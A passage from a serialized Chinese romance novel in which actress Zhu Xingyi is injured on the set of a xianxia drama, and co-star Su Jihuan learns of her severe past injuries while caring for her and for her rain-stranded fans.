看到云长洛为自己难过，唐离竟然觉得身子不那么痛了。她想，就这么死了好像也很划算。身子越来越轻，她渐渐阖上眼。 “唐离！！”云长洛伏在唐离身上，垂下了眼泪，“对不起……唐离，对不起……”】 【温鹊带萤渺仙君来到栖云殿后，对已经几近绝气的唐离进行医治。 重凝见云长洛面色悲伤，搀着云长洛去一旁坐等萤渺医治。一夜过后，萤渺仙君望着已无大碍的唐离松口气。 云长洛听闻唐离被救回来的消息匆匆赶到房间，“唐离！” 还十分虚弱的唐离缓缓睁开眼睛，她看着俯身一脸忧心的云长洛，恍觉自己还在梦中。 “神尊……神尊大人，我没有死？”唐离慌慌张张抓住云长洛的手。 云长洛没有松手，悲伤地笑着点头：“你没死，唐离，你身子虚弱，先在我这殿里好好养一养。” “谢神尊大人。”唐离万分感谢，她望着云长洛，犹豫地开口：“神尊大人，我，我能不能……” 云长洛抓紧她的手，点点头道：“唐离，有你送药，无宁已经好了许多。谢谢你冒死去救她，你我过往一笔勾销，日后，你便留在栖云山。” “唐离，你留在这里，我护你。待你伤好后，你入朝云阁做我的门徒，我教你修习仙法。忘记过往天界过往种种，你与我，也重新开始，可好？” 唐离垂下眼泪，笑着点头：“好，好。谢谢神尊……谢谢师尊。”】 唐离正式成为云长洛徒儿后，祝星亦的拍摄任务加重许多。唐离修习仙法的戏份除了要进行标准的剑法展示，还要吊威亚。 好在祝星亦过往拍的武打戏很多，又有非常强的舞蹈基础，封闭训练一段时间后将直接进行威亚戏份拍摄。 化妆的时候，白澜赶过来提醒：“星亦，要不然这些高难度动作你都请替身吧，你之前坠楼……” “都五年了，无妨。”祝星亦看着镜中的自己，提醒小禾口红换个色号，“而且我刚回归拍戏就请替身，未免也太不尊重观众了。” “可……” “好了，多大点事。”祝星亦指着眼角对小禾说：“小禾，这里提亮一点，镜头很吃妆。” “好的祝总。” 白澜实在忐忑，虽说五年过去了，可自坠楼后，祝星亦的身子便留下了大大小小的毛病。天气一旦转凉，祝星亦的各个关节便疼痛得不得了，手指都像受刑一般难受，有时候天气恶劣，能疼得一夜睡不了。 但她也劝不了祝星亦，只能提醒训练和正式拍摄时注意些。 祝星亦要白澜放一百万个心，“要不是角色定得晚，也许早就能进训练营了，还好我和苏老师都有基础，训练一两周就够了。” 胜在舞蹈基础强，祝星亦训练时表现很不错，空闲之余挽了几个剑花给苏寄欢看。 到了吊威亚的训练，白澜上前提醒：“星亦，小心点，不舒服的话要及时说。” 祝星亦比了个ok手势：“知道了。” 吊威亚的训练祝星亦表现也不错，没有任何不适。训练完毕祝星亦偷偷跟白澜耳语：“女生啊，还是要身体素质好才行，如果我以前就柔柔弱弱的，那次被捅伤又坠楼，我命早就没了。” 白澜无奈，当时的祝星亦已经心脏骤停，若不是医生拼命抢救，兴许命早就没了。 出了训练营，便去实地进行简单试戏。唐离成为云长洛徒儿后要在许多地方呈现仙法修习，第一幕选在一处楼上，韩珑给祝星亦讲了下戏。 “等下你吊着威亚会从这个方向飞过去，你手拿好剑，等这个镜头之后你在对面那个台子上定点，这个镜头就OK了。下一幕是……” 认真听完韩珑讲戏，祝星亦拿起剑摆了下动作，工作人员给她吊上威亚，她拿起剑飞身至定点位置。 一条过，韩珑喊了卡声，工作人员给祝星亦取威亚转身从台子那边下去。刚转身下去，祝星亦没注意踩空，整个人滚到楼下。 “啊——” 惨叫声响彻云霄。 一直观看祝星亦表演的苏寄欢第一个冲上去，急切问：“你没事吧！” 祝星亦疼痛难忍：“好像……动不了了。” 苏寄欢着急要把她抱起，又不敢碰，生怕伤得更严重，只好先把手垫在祝星亦脸下着急喊：“救护车！快叫救护车！” 医院—— “您好，我是她家属，她情况怎么样了？”救治一段时间后，医生终于出来，苏寄欢赶忙上前问。 “做了小手术，之后需要静养。”医生道：“患者曾在肋骨、股骨、胫骨、脊柱、盆骨等多处共埋入42颗钢钉和10块接骨板，部分钢钉已经被吸收进去，还有一部分没有被吸收。这次受伤，我们给患者取出了一直没有被吸收的钢钉，务必让她好好休养一段时间。” 42颗钢钉和10块接骨板？ 苏寄欢以为自己听错了，“钢钉和接骨板？” “对。她近期需要多多休养，休养过后也无法做太多剧烈运动，一定要让她好好照顾自己的身体。”医生又说：“另外患者经受过严重创伤，脊髓、颈椎和脑部都遭受过不同程度的骨折和损伤，所以有一些轻微的平衡障碍和前庭系统损伤。具体表现为经常性摔倒、动作协调性差、平衡障碍。” 42颗钢钉和10块接骨板、严重创伤、脊柱骨折、神经损伤、脑部损伤、前庭系统损伤…… 难闻的消毒水气味涌入鼻腔，苏寄欢盯着病房的门牌有些跑神，她垂着眼低声说哦哦，是，嗯，对，又说，哦，应该是，应该是吧。 医生蹙眉道：“另外经过检测，患者的头皮、面部、胸部、腹部、四肢、肌肉等缝合高达600针，其中腹部缝合最多，大约缝合200多针。患者后续应该是做过医美整形，但腹部缝合线无法完全修补，推测是被利器捅穿了腹部，内脏进行了许多缝合，腹部也留有很深的疤痕……” 医生又说了些什么，苏寄欢完全听不清了。 42颗钢钉和10块接骨板，600多针缝合，腹部缝合200多针…… 那些数字让她逐渐失去了概念，她低声问：“我能看一下她的详细病历吗？” “不好意思，没有本人授权，我们无法提供详细病历，而且没有本人授权，我们也无法进行跨境调取。”医生颔首致意，道：“最近一定要好好休养，多多注意一些。” 医生离开后，苏寄欢站在病房门前久久没有动作。 跨境调取，跨境就医。 所以，所以在国外的三年，祝星亦到底发生了什么？ 脊椎、脑部损伤、缝合600多针，42根钢钉…… 数字再次涌上脑海，苏寄欢踉跄地扶着门框，呼吸越来越急促，吞咽的动作也变得迟缓又痛苦。 她难以想象祝星亦到底经受了什么才要缝合那么多针还打那么多钢钉。 分手前，祝星亦不是很猖狂吗？和晏氏合作，不是很荒唐吗？怎么消失三年，在国外的三年又把自己搞成这个模样？ 安静的走廊里，她站在门前垂下头。 屋里传来祝星亦的声音：“苏老师，苏老师你在外面吗？” 她听着那个声音的回音落下才沙哑着声音应了句：“我在。” “苏老师，你怎么不进来？”祝星亦喊。 苏寄欢咬紧牙关，小心翼翼握上门把手：“好，我进来。” 第165章 《长离引》暂停拍摄 她推开了门，比床上术后虚弱的人先进入视线的是窗外的雨。 北方夏日和南方夏日的共同特点是雨来的时候迅猛得让人措手不及，她听着沉*重的雨声往病床边挪动脚步。 她很守约定，临场发挥成功一镜到底后，她便和祝星亦一起上班吃早饭。昨天吃到某家胡辣汤时，祝星亦拿纸擦嘴嘟囔为什么这家店的胡辣汤只能尝到又麻又辣的胡椒水味道，实在难喝。 苏寄欢盯着对方被麻得红肿的嘴低头笑，等对方察觉到被笑话，不高兴了，她才跟对方保证：“那以后不带你来这里吃了，我们去吃好吃的早餐。” 说完，她把自己的豆腐脑推过去交换，被拒绝了。 “你口味那么淡，肯定比我还受不了。”祝星亦坚持把那碗胡辣汤喝完，走出店门去搜索品牌名字，拿着网友们的吐槽给她看：“看吧！她们也说不好喝！但是这个信球是什么意思？” 苏寄欢瞥了一眼网友的吐槽，跟好奇[信球］是什么意思的人说：“就是美女的意思，夸人漂亮，可爱，聪明伶俐。” 祝星亦挑眉：“那我就是信球咯？嘿嘿，你也是信球。” “嗯……是，算是吧？”她说完笑得直不起腰。 祝星亦搜完[信球］是什么意思，马上追着她打：“苏老师！你伤敌一千自损八百！” 她笑着跟追着她打的祝星亦在宽阔的马路上追赶一会儿，忽然想到她已经很久没有像这样好好和祝星亦相处过了。 一颗脆弱的心脏变得平静温和，又变得雀跃起来，她以为久雨潮湿的天气终于转阴转多云再转晴，但现在她又变得茫然。 她好像从未了解过祝星亦。 又或者说，那段过去让她对祝星亦的恨，大过想要了解的心。 反反复复分开那么久，太多没有互相倾诉的事，面前这个闷罐子本就不爱说话，她应该耐心下来好好跟这个罐子说一说，最后却演变为她一味地撒气泄火。 她早就应该意识到一些问题的，譬如为什么祝星亦总会穿很厚，不爱穿以前喜欢穿的青春靓丽的衣服；为什么天一变凉，脸就惨白无比；为什么曾经的麓舞第一，曾经闪耀的偶像几年没有跳过舞；为什么以前步履生风的人现在走路变得迟缓，还时不时摔倒；为什么忘性那么大，马虎不说，还总是打翻东西。 她以为祝星亦成熟了，也以为那是祝星亦想要靠近她而博取同情的小把戏，没想到是数不尽的后遗症。 面对一个荒唐、让人厌恶憎恨的女人，她下意识忽略掉那些本应该重视起来的问题，即便被背叛被抛弃是不可否认的过去，她起码应该了解这个女人把自己的身体糟蹋成这样的真相。 双脚迟缓地向病床移动，她低头看床上脸色发白的女人，女人像没事人一样冲她笑笑，和每次摔倒后自己爬起来说的那句[没关系］一样令她又心疼又讨厌。 港城重逢后，她意识到女人变了些，比两年前刚回国时更让她能看到一份想要挽回这段感情的诚意，但心里的恨意随着那份诚意越来越强烈。 她讨厌祝星亦，憎恶祝星亦，她厌恶这段让她忐忑不安、总是失魂落魄的关系。 今天靠近，明天便疏远。 今天说我爱你苏老师，明天便要分手。 她躲开这个女人，女人便会追上来。 她追上这个女人，女人便会离开。 她已经这个年纪了，人生中出现的所有问题都有了经验，可偏偏面对这个女人的时候她无从下手。 即便她主动，即便她宽容地包容一切，即便她不在意那些伤害，她还是解决不了和这个女人更深层次的矛盾。 她不知道她到底该怎么做，她想了许久才明白，真正地离开、放弃才是最好的办法。 [苏盛］和[星闪］的合作只剩一年，她用尽全力拉投资，不顾所有的阻拦把这个普通的仙侠剧打造成S＋影视的规模，只因为这部剧可以顺利拍完播出，[星闪］便可跻身更高层级的影视公司。 [星闪］能爬上去，祝星亦会拿到更多资源，也会成功回归演员的身份。 从最初扶十八线的祝星亦到影后位置，再扶她从劣迹斑斑的素人到拥有S＋影视作品的[星闪］CEO，苏寄欢背负了太多责骂，但她没有怕过，也没有在意过，她从始至终都是个体面人。 送[星闪］上去，送[星闪］一个光辉璀璨的未来，送祝星亦一个美好的前程，是她能为这个不停伤害她的坏女人做的最后一件事。 拍完《长离引》她会办一个息影发布会，她以后不再拍戏，她要定居港城，或者回伦敦，总之她不会再回麓城，也不会和这个女人见面。 她要和这个女人死生不复相见。 可现在，她又变得茫然无措。 她扶着椅子缓缓坐下，颤抖的手怎么也抬不起来，心脏也痛得难受，最终她掏出口袋中的药拿出几粒填嘴里干咽下去。 话堵在嘴边还是说不出来，苏寄欢抑制住心脏的疼痛，默声许久，压低嗓音：“祝星亦，为什么我总是拿你没办法。” 紫红色的闪电划过天际，随后炸开一阵惊雷。闪黑闪白的光劈开雨幕，苏寄欢攥着被角无力地垂下头。 她到底怎么解决这些事，她要怎么面对这段棘手的感情和难以言喻的心绪。 一个人在国外受了不知道什么重大创伤，42根钢钉和600多针，那该有多疼。她却不知道这些事，反反复复责罚这个什么都不说口的女人，一次次推开一次次奚落一次次伤害。 那些伤和疼痛，算是这个女人应得的报应吗？ 苏寄欢忽然哽住。 到现在，她居然还执着让祝星亦受到惩罚才肯罢休。 “苏老师，你怎么了？”祝星亦小声问，她想了想才说：“苏老师，你是不是怕耽误拍戏进度？应该没事吧，合作到期前肯定可以拍完，不要担心这个，不行的话我就去找替身拍那些动作戏，可是我其实不想要替身的，我不想偷懒。” 她费力往一旁歪了下脑袋，看不清苏寄欢的表情，只好继续说：“苏老师，你别担心进度的事，我就休息半个月，手术恢复好后我就开工。不对，不用半个月，一星期就行，我不会耽误大家时间的。我知道这个剧拍摄很紧迫，但我现在做完手术实在不能直接上场……” 噼里啪啦的乞求声灌进耳朵，苏寄欢咬着牙打断她：“你疼不疼？” 祝星亦慌忙摆手：“不疼，苏老师，你不要着急，我身体素质好，恢复得快，应该很快就能出院，不会耽误拍戏的。” 雨点击打着玻璃窗，慢慢吞没祝星亦的尾音。苏寄欢眼泪砸在手背上，她颤动着湿润的眼睫声音发涩：“祝星亦，你真是……让我好气。” 她忽然别过脸咳嗽起来，眼泪好像流进喉咙里。虚弱的祝星亦抓住她的手担忧问：“苏老师，你怎么了？” 苏寄欢拧着眉抬眸看床上的祝星亦，散乱的发丝埋在颈窝，惨白的脸像窗外蔓延的雨雾。 她抬手拨了拨祝星亦颈上杂乱的发，极力掩盖颤抖的声音：“我没事，拍戏的事你不要担心，我让她们先拍，你和我的戏份过后补拍就好。这段时间你好好休息，先别想着什么时候回剧组。你放心，我也不回剧组，我就在这里照顾你。” 祝星亦讶异：“真的吗？可是这样不会耽误进度吗？苏老师，你要不……” 话还没说完，有些奇怪的女人忽然弯腰抱住她，头也埋在她颈窝。 术后的祝星亦太虚弱，苏寄欢没有抱太紧，只是轻轻伏在她身上低声开口：“祝星亦，听话，好好休息，我陪着你。” 嗅着好闻的柚子花香，祝星亦意识忽然不太清醒，垂眼蹭了蹭苏寄欢的脖子点点头：“好，苏老师，谢谢你。” “祝星亦，你在国外……” “嗯？怎么了，苏老师？” 伤疤揭开会是一阵新的疼痛，苏寄欢话堵在嘴边，忽然不敢再说下去。 比起质问和揭旧伤疤，现在祝星亦最需要的是好好休息，恢复身体，而不是再想起是怎么缝合600多针和打40多根钢钉的。 苏寄欢深吸一口气起身，抓着祝星亦枯瘦的手声音轻轻：“我没事，你好好休息，术后不能吃的东西太多，我煮了营养粥给你，等下给你端过来。” 祝星亦眼眶一热，回握住苏寄欢的手：“苏老师亲自给我煮的粥吗？” 苏寄欢点头，给她掖了掖被角，“是，还在医院自用厨房煮着，晚点你要转vip病房，到时候做饭会方便点，我也会陪床，等你稍微恢复好一点，天晴了，我会带你去楼下转转。” 一股暖流涌入心窝里，祝星亦鼻子酸酸的，嗓子涩得有些发疼，“谢谢你，苏老师。” 她好久没有被苏寄欢这么温柔对待过了，哪怕只是声音轻了些都让她心头暖暖的。更何况苏寄欢现在要亲自照顾她，给她煮饭吃。 所以苏寄欢是因为她这次受伤心疼了吗？ 心疼…… 祝星亦偷偷观察苏寄欢的表情，这副模样好像在极力忍耐着什么，眉眼都是藏不住的痛苦。 苏寄欢好像真的在心疼她。 她珍惜这份心疼，哪怕只是因为自己受伤了才得到的垂怜，她都无比珍惜。 用身体受伤博得同情是在作弊，祝星亦厌恶这种作弊行为，也非常讨厌对方是因为自己肉。体痛苦才怜悯自己。 她不想要这种无效怜悯，也不想用卑鄙的心理战术获取关心，这种做法根本就是在轻视自己罢了。 在心爱的人面前以弱者自居，装扮可怜兮兮的模样，这算什么？用这种方法利用不相干的人也就算了，怎么能这样对心爱的人？卑鄙无能的人才会这样卖惨吧。 但，但能暂时苏寄欢享受有保质期的心疼，就算卑鄙，祝星亦也认了。 “对了，苏老师，你刚刚想问我在国外怎么了？”祝星亦问。 第166章 《长离引》暂停拍摄 “没事，等你好了我们再聊。”苏寄欢握了握她的手，心里愈发憋闷。 她不应该在这里继续待着，她必须先自己静一静。 联系白澜过来后，苏寄欢起身。 走了？去哪里？ 祝星亦慌忙抓住苏寄欢的手：“苏老师，你要干什么？你不是说在这里陪我？” 苏寄欢滞住脚步，侧过身子拍拍她的手背：“我去跟韩珑说一下剧组拍戏的安排，你等我回来。” 祝星亦稍稍安了下心：“好，我等你回来。” 走出病房，走廊里冷气透过薄薄的衣衫扎入苏寄欢的皮肤里，平底皮鞋叩击地面，发出的声响在空荡荡的走廊里反复回响。 意识有点不太清晰，走着，她蹲了下去。 心脏痛得像被刀子剜肉。 匆忙从兜里掏出药往嘴里塞，没有水在手边，咽不下去反倒咳了出来。 “药……”苏寄欢腰弯得又低了些，继续掏出两粒药往嘴里填。 还是吞不下去。 苏寄欢只好努力吞口水才咽下。 缓了会儿，手机响了。 她接下：“喂，韩导，我正想找你。星星做了手术需要休养一段时间，我要照顾她，我和她相关的戏份暂且放着，让其他演员先拍着，等她休息好了我们再补拍。” 韩珑问了祝星亦的情况，说晚点会过去看看。 挂断电话，苏寄欢坐在地板上沉默地抬头看着廊灯。 她想了很多，但好像又什么都没想。 暴雨噼里啪啦打在玻璃窗上，除此之外，只剩可以忽略不计的呼吸声。 坐在地上有点冷，冷得她又咳嗽几声。 快速拭了下眼泪，她起身往窗户那边走。 窗外的景色看不太清，她抬手，指尖触着冰凉的玻璃，划出一道水痕。 胸口还是闷得很，她推着窗户开了个小口，冷风混着雨珠打进来。 吸了口凉气，垂眸的一瞬，视线被医院对面那条街口的咖啡店吸引住。 咖啡店门口的棚子下站着许多人，店里似乎是挤不下了。 雨势过大，棚子不能完全遮挡住雨水，棚子下的人只能撑伞避雨。 那群人撑了许多一模一样的伞，伞面的图案很眼熟，苏寄欢认真望了会儿，是……闪烁狐星。 祝星亦的粉丝？ 她不是很确定，打开手机用相机看店里的人，确认大多是祝星亦的粉丝后，脑海里有个想法。 她要去验证一下。 雨伞还在病房门口放着，她折回去拿的时候听到屋子里祝星亦和白澜在说些什么。她没时间听，拿着伞快速下楼冲进雨幕。 一路奔到咖啡店门口，躲在棚子下的人三三两两低声交谈，待看到她，小声惊呼：“苏……苏小姐！” 空气凝滞了一秒，随即爆发出一阵小小的欢呼。 “竟然是苏小姐，啊，居然在这里碰到了苏小姐。” “苏小姐，你有见星星吗？” “苏小姐，星星还好吗？” 苏寄欢握紧伞柄。 确认了，是[星海］。 风大雨大，发梢和肩膀都湿了，苏寄欢顾不上擦拭，抬高声量，尽量让棚子里的人都能听到：“雨那么大，你们怎么都聚在这里？” 人群里的粉丝举着手问：“苏小姐，请问星星她还好吗？我们听代拍姐说她在剧组出意外了，我们好担心她啊！” “是啊，星星她怎么了，真的好担心她……” “我们听代拍姐说，剧组把星星送到这家医院了，我们就在这里蹲守星星，想知道她的情况。” 苏寄欢垂下眼不语。 在这里等着，哪里能得知祝星亦的具体消息。 她忽然觉得嘲讽。 她不也一样无法得知祝星亦的消息，消息闭塞，又不亲自去问，问了兴许也没什么结果。 “不要站在这里了，雨太大，你们躲这里会淋湿。”苏寄欢四处望了望，指了个方向，“去那边的商场，商场里面很大，有空地可以休息，先去那里。前面那个通道可以直达，免得你们淋太多雨。” 店里的人得知苏寄欢在外面，忙打开门冲出来。 “苏小姐！”叶松萝打开门，雨水的冷气扑面而来，她看向指挥大家转移的苏寄欢，背后和头发都湿了。 苏寄欢转头，忙说：“你们可以在咖啡店里待着，我让在外面的先转移过去。” 叶松萝忙和许明歌交代几句，回过身道：“我们也一起去。” 粉丝年纪都不大，都是十几岁二十岁左右的人。苏寄欢带着她们一起穿过通道来到商场，让她们去商场里的奶茶店、咖啡店坐着。 这种天气来商场的人很少，位置足够，苏寄欢不想耽误商家做生意，给所有粉丝点了奶茶咖啡和各种吃的。 “啊！谢谢苏小姐，我都要哭了。” “怎么会有这么好的人啊，苏小姐，谢谢你。” “好温柔，我都要爱上了。” “星星有苏小姐这样的朋友真的好让我们粉丝安心呜呜呜。” 路上她了解到这群[星海］已经在这里等了很久，大多是听到代拍姐的消息后马上从外地赶过来。 代拍姐只知道祝星亦被送进医院，其他一概不知，剧组只发了平安的消息，其他的都没有透露。她们没有任何得知祝星亦消息的渠道，只能亲自赶过来。 帮忙把咖啡端到粉丝桌子上后，粉丝们还在等着苏寄欢透露具体的消息。 苏寄欢闭了闭眼，语气笃定：“别担心，她没事，她就是下楼时没注意摔了一跤，需要多多静养几天。” “真的吗？”有人小声问。 “真的。”苏寄欢点头，目光扫过在场的每一个人，“剧组暂停拍摄只是配合她的休养，她很好，你们别担心。你们等下回去好了，稍晚会儿官方和工作室会出她的具体伤情信息。” 粉丝们面面相觑，似乎稍稍松了口气，但仍有不安的低语传来。 “可是现在雨这么大，我们暂时回不去了。” “打不到车去火车站，我们也没订酒店。” “来的时候没想到雨会下那么大，晚上可能要去网吧待一晚，明天再回去。” 苏寄欢闻言，眉头微不可察地皱了一下，随即拿出手机拨通了金允声的电话。 挂断电话，她转身对[星海］们说：“雨会越来越大，天也不早了，你们有的年龄太小又没有大人跟着，路上万一出了什么意外我会很自责。都先别急着走，我已经安排了车和酒店，等雨小一点再回去。我这边让我助理看着你们，等明天跟你们一起去机场和火车站。” 人群里瞬间响起一阵小小的欢呼，有人甚至红了眼眶。 “苏小姐……谢谢你。” “你人真的好好……” “我都不知道我该说什么了，来到不熟悉的地方又碰到大暴雨，以为要在雨里过一夜了，没想到苏小姐你……我真的要哭了。” 苏寄欢掏出纸巾递给流泪的粉丝，轻声安抚：“没事的，别难过，我回去会跟她说你们来看望她了。这么大的雨，如果我没有照顾好你们，她也会怪我。” “苏小姐，你真的好好啊。” “苏小姐，真的感谢你。” 她垂着眼，看着对她充满感激的[星海］，兀自笑出声：“你们很爱她，我也很感谢你们。” 往人群中看了几眼，苏寄欢抬手招呼叶松萝过来。 “我给你我助理的联系方式，你这边统计一下粉丝的信息发过来，让她给你们订酒店和大巴，等下直接送你们去酒店。”还是有点担心这群粉丝不安全，苏寄欢顿了下，找了几个跟到剧组的[苏盛］工作人员，把联系方式发给叶松萝，“我让她们跟你们一起住酒店，你们有什么事就找她们，需要换洗的衣服和其他物品就列个表格发过去，让她们给你们买。” 苏寄欢背着身子小声跟叶松萝交代，叶松萝低头添加着联系方式，许久，感激地说：“苏小姐，真的很感谢你做的这些事情。十年前在《寄明月》剧组，你也帮助过我们[星海］，也请我们吃了一次东西。没想到十年后在你们又一次搭档，你又一次帮我们。谢谢你帮我们，谢谢你照顾我们。” 十年前[星海］来探班，那时候天气又热又晒，祝星亦跟遮阴区域的工作人员理论不过，苏寄欢便带[星海］去了一家小店，请所有[星海］喝冷饮。 那时祝星亦眼睛亮晶晶地跟她说：“苏老师，你好热心肠，谢谢你。” 那也是个夏日。 她们并肩从冷饮店回剧组，短短的影子落在身后，争论各自粉丝喊的[老婆］[姐姐］称号。 拍摄《寄明月》都是十年前的事了啊。 目光落在巨大的落地玻璃窗的雨幕上，苏寄欢怔了怔，随即淡淡一笑：“应该的。” 金允声还没过来，苏寄欢自己一个人坐在咖啡桌前焦急等待着。 给祝星亦发了信息，对方还没回。 “苏小姐……”一个怯生生的声音打断她的思绪。 苏寄欢转头，看见一个扎着马尾辫的小姑娘站在面前，手里捧着笔记本，“请问……你能给我签个名吗？” 小姑娘后面还排了几个人，局促地抱着小本子。 苏寄欢扯出一个微笑，接过笔记本：“好啊，可以签名，也可以合照。” 几个小女孩小声欢呼起来。 翻开笔记本，苏寄欢愣住了，扉页上贴着祝星亦和她的合照，是《寄明月》时期拍的。 “这是……” “苏小姐，我是星宝新粉，考古的时候我最喜欢你们合作的这部戏了！我感觉你们演得好好呀，虽然是老剧了，但也拍得十分好，难怪是当初的大爆剧呢！”小姑娘眼睛发亮，“之前听说你们要再次合作拍摄《长离引》，我激动得三天没睡好觉！《长离引》肯定也会大爆！” 照片上是她和祝星亦在剧组时的合照，扎着双髻的祝星亦靠在她肩头比耶，她举着手机假装托起祝星亦的下巴。 那时的祝星亦眼神很清澈，脸也很稚嫩。 那时她们好年轻。 手指微微发抖，苏寄欢深吸一口气快速签完名，将笔记本合上递回去，“谢谢你的祝福。” 等了许久，金允声匆匆赶来。 “车来了。”金允声小跑过来，身上还带着雨水的气息，“车和酒店都已经安排好了，三辆大巴，足够送所有粉丝去酒店。酒店有早餐券，我这边安排其他人帮忙买一些她们需要的用品了。” “麻烦你们今晚跟着她们一起住酒店了。”苏寄欢点点头，起身对粉丝们说：“车在外面停着，大家跟着我助理有序上车，注意安全。” 她跟着去商场停车场，撑伞目送粉丝们一个个上车。雨水打湿了她的裤脚，但她浑然不觉。 最后一个上车的叶松萝突然回头：“苏小姐，星星她……真的只是摔伤吗？” 苏寄欢的喉咙发紧。 她想起病床上那个瘦弱的身影，想起医生说的“42根钢钉”和“600多针缝合”。 粉丝们不知道这些事。 她自己也不是很了解，但[星海］们从始至终都在关心祝星亦，可自己，却是不断施加压力和伤害的那个人。 “她……”苏寄欢的声音几乎被雨声淹没，“别担心了，她会好起来的。” 叶松萝似乎想说什么，最终只是点点头上了车。苏寄欢站在原地，看着大巴车的尾灯在雨幕中渐渐模糊。 金允声走过来：“苏总，您回去吧，我等下先送你回医院，再开车跟着她们去酒店。” “你跟着她们好了。”苏寄欢轻声说，“我想自己再走走。” “自己走走？”金允声讶异，“可是这么大的雨……” “没关系。”苏寄欢撑着伞走进雨里，“帮我照顾好她们。” 第167章 《长离引》暂停拍摄 大巴走远，金允声的车也跟着一起离开。 苏寄欢在停车场站了会儿，来来往往的车开进驶出，她握紧伞柄扎进雨幕中。 溽热的六月被暴雨浇灌得彻底，从停车场走到街道处时，闪电和轰隆的雷声促使世界骤然大亮。 她并不怕雷声闪电这种自然现象，但接二连三的闪电雷声在眼前耳畔突现，她抖了下身子，加快脚步。 漫无目的地走了许久，口袋里的手机震了震。 苏寄欢去掏手机，伸进口袋，指尖触碰到了一张纸条。 一并拿出纸条和手机，她展开纸，上面写着[苏小姐，谢谢你！希望你和星星是永远的好朋友！希望你们都好好的！——星海] 不知道是什么塞到口袋里的，兴许是指挥这群粉丝上车的时候。 她看着稚嫩的字体忽然笑出声。 但呜咽声混着雨声在湿漓漓的空气里颤抖。 手机又震了震，苏寄欢垂头划开屏幕，消息是白澜发来的：【苏总，祝总已经安排进vip病房，在20楼西区】 【苏总，祝总问你什么时候回来】 简单回复了一句知道了，又说很快会回来，便把手机重新塞入口袋。 骤雨打在雨伞上像是在提醒什么，她深吸一口气，继续往前走。 走到屋檐下合上伞立在一旁，推开帘子走进去。 老板看她浑身湿了，关心道：“咦，你是没打伞吗？我这里有伞，你要不拿着？” 苏寄欢道谢，勉强笑了笑：“谢谢，不用了。我有伞，只是风太大了。” 铁锅里翻炒着栗子，香甜的味道扑入鼻间。 她买了两袋栗子，刚出锅，很烫，老板用纸袋装完栗子又用厚一点的塑料袋装着。 出门撑伞前，她小心把栗子抱在怀里，重新走入雨中。 到了VIP病房门口，站了好久才推开门。 床上睡着的人听见响动侧了下脑袋，声音里透着疲倦：“苏老师，你怎么才回来。唔，你怎么湿透了。” 她的脸还是没什么血色，不过比下午刚做完手术的时候好多了。 “有点小事耽搁了。”苏寄欢把栗子放在床头小桌子上，伸脚把垃圾桶勾过来。 刚要坐下，轻声说了句“等我一下”，匆匆去洗手间换了身衣服才出来。 祝星亦刚做完手术，不能乱动，只能伸着脖子提醒：“苏老师，你多穿点，别感冒了。” 苏寄欢转身去沙发上找外套裹身上：“好。” “我刚在楼下碰到了张医生，她说你住3天就可以出院了，不过要回去多多静养。”苏寄欢坐在床边椅子上滑了几下手机，“之前住的酒店太吵，不适合你休息，我重新订了一家环境安静点的酒店，套间，到时候我们一起住进去。你养好身子最少要一个半月，拍戏的事就先不要放在心上，养好身子再说。” 她拿过一袋栗子放在腿上剥栗子壳，金黄色的栗子从硬壳里脱出，一颗，两颗，三颗，放在祝星亦手心。 栗子还温温热，祝星亦动了下手臂，声音轻不可闻：“你跟我住一间套房，还要亲自照顾我，虽然很谢谢你，但是实在太麻烦你了。我躺床上暂时不能动，凡事都要你来照顾，有点……” “这有什么，你我之间，不早就坦诚相见了？”苏寄欢说。 祝星亦被话噎住，嘴里的栗子难以下咽。 闭上嘴巴歪过头去，嘟囔：“这种时候怎么能这样说。” “什么？”剥栗子的人问。 “没什么。”祝星亦说，“麻烦你了。” “不麻烦，应该的。”苏寄欢垂眼看着自己手里的栗子壳，说话的声音轻轻的，有点疲惫。 几片碎的壳子跑到了手背上，她拍下去，手指没有停止动作，瞥见祝星亦手里的栗子还没吃完，抓过小桌上干净的小纸碗放进去。 “我刚刚出去的时候碰到你粉丝了。”苏寄欢继续剥着栗子壳，“她们听说你拍戏出意外去医院，很担心你。” 祝星亦挣扎着要起来：“这么大的雨还要来看我，她们有没有淋湿，现在在哪里？？” 苏寄欢按下她的手，起身把她轻轻按下去。 触手是单薄的病号服下凸起的肩骨，她安抚好祝星亦后坐下。 她果然没猜错，祝星亦还是这么挂念自己的粉丝。 逢粉丝来探班，祝星亦会贴心准备好吃的喝的，怕粉丝期待落空，无论再忙都会走出去跟粉丝打招呼。会定时回复后台粉丝的私信，会记得经常来看她的人，逢年过节去粉丝群发红包，还**手工礼物。 以前苏寄欢以为祝星亦不会永远都这么耐心对待粉丝，但除了失踪那三年，祝星亦好像一直没改变过这份耐心。 倒是她自己，成名太早，和粉丝之间隔着太多东西，从未这样和粉丝亲密过。 今天这场暴雨，如果换祝星亦，肯定也会这样做。 苏寄欢往祝星亦手里又放了两颗剥好的栗子：“你别担心，我已经安排好了。我叫车送她们去酒店，还找几个工作人员帮忙看着她们。明天雨会小一点，到时候工作人员会看着她们去机场和火车站。” 暖意从脚底窜到头顶，像是往身体里放了一个淬了火的瓶子，血液流进去通通变得滚烫。 祝星亦侧头看向安静剥栗子的人，颤抖的指尖抓着被角，细弱的蚊鸣从嘴边炸开：“谢谢你，苏老师，谢谢你照顾她们。” 苏寄欢小声说了句不用谢，继续低头剥栗子。 落在夏日汴城的暴雨，浇灌的不止是干燥的北方天气。 三天后苏寄欢带着祝星亦转移到新酒店。 早上十点，天晴得好，小心把人放床上后，韩珑打来电话。 这几天都在下雨，剧组也没机会开工，今天开始剧组正常拍摄，韩珑简单汇报后面的拍摄计划。 苏寄欢坐在阳台跟韩珑交代了下，抬头，刺眼的阳光刺得她一阵晕眩。 挂断电话后她回酒店收拾东西，白澜跑过来接过她手里的衣服道：“苏总，我来就好。” 苏寄欢把东西拿过来慢慢出声：“没事，你陪她说会儿话。” 弯腰坐下来叠着衣服，看白澜还杵着不动，问：“怎么不进去陪她？” 白澜挠挠头，沉闷地说：“我……你陪她才更好吧，她需要你。” 苏寄欢叠着手里的衣服，视线落在堆着乱七八糟东西的桌子上。 “你先跟她说说话吧，我要在这里陪她很久。”她说。 白澜捏着指尖转身，又回头，“苏总，祝总她……很想和你重新开始，我知道我不该掺和这些事。但……你在祝总心里很重要，无论是在国外的几年，还是你出国的这两年，她都很想你，也很想再次靠近你。可你也知道她性格，她……” “她在国外到底怎么了。”抚平腿上叠好的衣服，苏寄欢打断白澜的话，“42根钢钉，缝合600多针，到底发生了什么。” 